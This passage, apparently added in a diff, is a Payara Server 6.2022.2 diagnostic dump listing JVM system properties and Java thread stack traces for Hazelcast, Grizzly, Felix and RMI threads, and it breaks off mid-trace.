+com.sun.aas.instanceRootURI: file:/usr/local/payara6/glassfish/domains/domain1/ +jakarta.security.jacc.PolicyConfigurationFactory.provider: fish.payara.security.jacc.provider.PolicyConfigurationFactoryImpl +java.vm.vendor: Azul Systems, Inc. +org.glassfish.gmbal.no.multipleUpperBoundsException: true +user.timezone: Etc/UTC +os.name: Linux +java.vm.specification.version: 11 +AS_H2_INSTALL: /usr/local/payara6/glassfish/config/../../h2db +sun.java.launcher: SUN_STANDARD +user.country: US +org.glassfish.grizzly.DEFAULT_MEMORY_MANAGER: org.glassfish.grizzly.memory.HeapMemoryManager +sun.cpu.endian: little +user.home: /root +user.language: en +javax.rmi.CORBA.PortableRemoteObjectClass: com.sun.corba.ee.impl.javax.rmi.PortableRemoteObject +felix.fileinstall.bundles.new.start: true +com.sun.aas.hostName: 8124bcad546f +AS_INSTALL: /usr/local/payara6/glassfish/config/.. +JMS_PROVIDER_PORT: 7676 +javax.net.ssl.keyStorePassword: changeit +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.awt.headless: true +com.ctc.wstx.returnNullForDefaultNamespace: true +AS_DEF_NODES_PATH: ../nodes +org.omg.CORBA.ORBClass: com.sun.corba.ee.impl.orb.ORBImpl +com.sun.aas.instanceName: server +jdk.util.zip.disableZip64ExtraFieldValidation: true +javax.rmi.ssl.client.enabledProtocols: TLSv1.2,TLSv1.3 +org.glassfish.additionalOSGiBundlesToStart: org.apache.felix.shell,org.apache.felix.gogo.runtime,org.apache.felix.gogo.shell,org.apache.felix.gogo.command,org.apache.felix.shell.remote,org.apache.felix.fileinstall +path.separator: : +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +com.sun.aas.installRootURI: file:/usr/local/payara6/glassfish/ +java.runtime.name: OpenJDK Runtime Environment +osgi.shell.telnet.maxconn: 1 +felix.fileinstall.bundles.startTransient: true +AS_IMQ_LIB: /usr/local/payara6/glassfish/config/../../mq/lib +com.sun.aas.configRoot: /usr/local/payara6/glassfish/config +com.sun.aas.imqBin: /usr/local/payara6/mq/bin +java.vm.name: OpenJDK 64-Bit Server VM +com.sun.aas.javaRoot: /usr/lib/jvm/zulu11-ca-arm64 +javax.net.ssl.keyStore: /usr/local/payara6/glassfish/domains/domain1/config/keystore.jks +java.security.auth.login.config: /usr/local/payara6/glassfish/domains/domain1/config/login.conf +felix.fileinstall.disableConfigSave: false +java.vendor.url.bug: http://www.azul.com/support/ +catalina.home: /usr/local/payara6/glassfish/domains/domain1 +user.dir: /usr/local/payara6 +os.arch: aarch64 +javax.management.builder.initial: com.sun.enterprise.v3.admin.AppServerMBeanServerBuilder +osgi.shell.telnet.port: 6666 +catalina.base: /usr/local/payara6/glassfish/domains/domain1 +java.util.logging.manager: fish.payara.logging.PayaraLogManager +com.sun.aas.agentRoot: /usr/local/payara6/glassfish/nodes +glassfish.version: Payara Server 6.2022.2 #badassfish (build 881) +java.vm.info: mixed mode +java.vm.version: 11.0.25+9-LTS +com.sun.aas.domainsRoot: /usr/local/payara6/glassfish/domains +java.class.version: 55.0 +org.glassfish.grizzly.nio.DefaultSelectorHandler.force-selector-spin-detection: true + +=========================================== + +ThreadStacks: +"hz.dazzling_hawking.IO.thread-out-0" #79 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"admin-listener-expirer(1)" #106 daemon [TIMED_WAITING] on java.lang.Object@d9c5208 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"GF Domain XML" #109 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@22fd4065 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@11.0.25/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:515) + at java.base@11.0.25/java.util.concurrent.FutureTask.run(FutureTask.java:264) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.partition-operation.thread-8" #51 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.generic-operation.thread-0" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@63759f6d + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.MetricsRegistry.thread-1" #69 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@69713a1c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"Executor-Service-8" #136 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@21cbb2b2 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-4" #19 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"http-listener-1-kernel(1) SelectorRunner" #97 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FileSystemWatchService" #130 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@11.0.25/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:316) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"FelixResolver-7" #24 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"GFFileHandler log pump" #35 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@e77bac5 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:417) + at com.sun.enterprise.server.logging.GFFileHandler.log(GFFileHandler.java:947) + at com.sun.enterprise.server.logging.GFFileHandler$1.run(GFFileHandler.java:581) + +"payara-executor-service-scheduled-task" #125 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@561bdbaf + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.IO.BalancerThread" #82 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@4e9cc1ba + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread.run(IOBalancerThread.java:65) + +"http-thread-pool::http-listener-1(3)" #93 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6a1fdf13 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"EventAdminAsyncThread #10" #155 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65530a64 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"RMI RenewClean-[192.168.215.4:8686,javax.rmi.ssl.SslRMIClientSocketFactory@30c9f0c]" #165 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@616c8216 + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Object.wait(Native Method) + at java.base@11.0.25/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.rmi@11.0.25/sun.rmi.transport.DGCClient$EndpointEntry$RenewCleanThread.run(DGCClient.java:558) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.MetricsRegistry.thread-2" #70 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@69713a1c + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@11.0.25/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.partition-operation.thread-2" #45 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"EventAdminAsyncThread #2" #144 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@65530a64 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1054) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.partition-operation.thread-7" #50 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.SlowOperationDetectorThread" #60 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Thread.sleep(Native Method) + at java.base@11.0.25/java.lang.Thread.sleep(Thread.java:334) + at java.base@11.0.25/java.util.concurrent.TimeUnit.sleep(TimeUnit.java:446) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.sleepInterval(SlowOperationDetector.java:289) + at com.hazelcast.spi.impl.operationexecutor.slowoperationdetector.SlowOperationDetector$DetectorThread.run(SlowOperationDetector.java:154) + +"hz.dazzling_hawking.event-2" #62 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3770546b + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"dazzling_hawking-query-state-checker" #73 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Thread.sleep(Native Method) + at com.hazelcast.sql.impl.state.QueryStateRegistryUpdater$Worker.run(QueryStateRegistryUpdater.java:114) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.IO.thread-in-0" #76 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-listener-2-kernel(1) SelectorRunner" #104 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@11.0.25/sun.nio.ch.EPoll.wait(Native Method) + at java.base@11.0.25/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:120) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:124) + at java.base@11.0.25/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:136) + at org.glassfish.grizzly.nio.DefaultSelectorHandler.select(DefaultSelectorHandler.java:88) + at org.glassfish.grizzly.nio.SelectorRunner.doSelect(SelectorRunner.java:308) + at org.glassfish.grizzly.nio.SelectorRunner.run(SelectorRunner.java:248) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:535) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"ContainerBackgroundProcessor[StandardEngine[glassfish-web].StandardHost[server].StandardContext[]]" #131 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1759) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.event-5" #65 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3fc50a6c + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2081) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:433) + at com.hazelcast.internal.util.executor.StripedExecutor$Worker.run(StripedExecutor.java:227) + +"hz.dazzling_hawking.partition-operation.thread-1" #44 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"hz.dazzling_hawking.partition-operation.thread-4" #47 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:323) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:85) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:118) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"http-thread-pool::http-listener-1(5)" #95 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@6a1fdf13 + java.lang.Thread.State: WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.park(LockSupport.java:194) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.awaitMatch(LinkedTransferQueue.java:743) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:684) + at java.base@11.0.25/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1366) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + +"hz.dazzling_hawking.cached.thread-3" #75 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@22b1febf + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:462) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:361) + at java.base@11.0.25/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:937) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1053) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1114) + at java.base@11.0.25/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628) + at java.base@11.0.25/java.lang.Thread.run(Thread.java:829) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:102) + +"FelixResolver-1" #16 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@bb9bb4c + java.lang.Thread.State: TIMED_WAITING + at java.base@11.0.25/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@11.0.25/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:234) + at java.base@11.0.25/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2123) + at java.base@11.0.25/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:458) + at 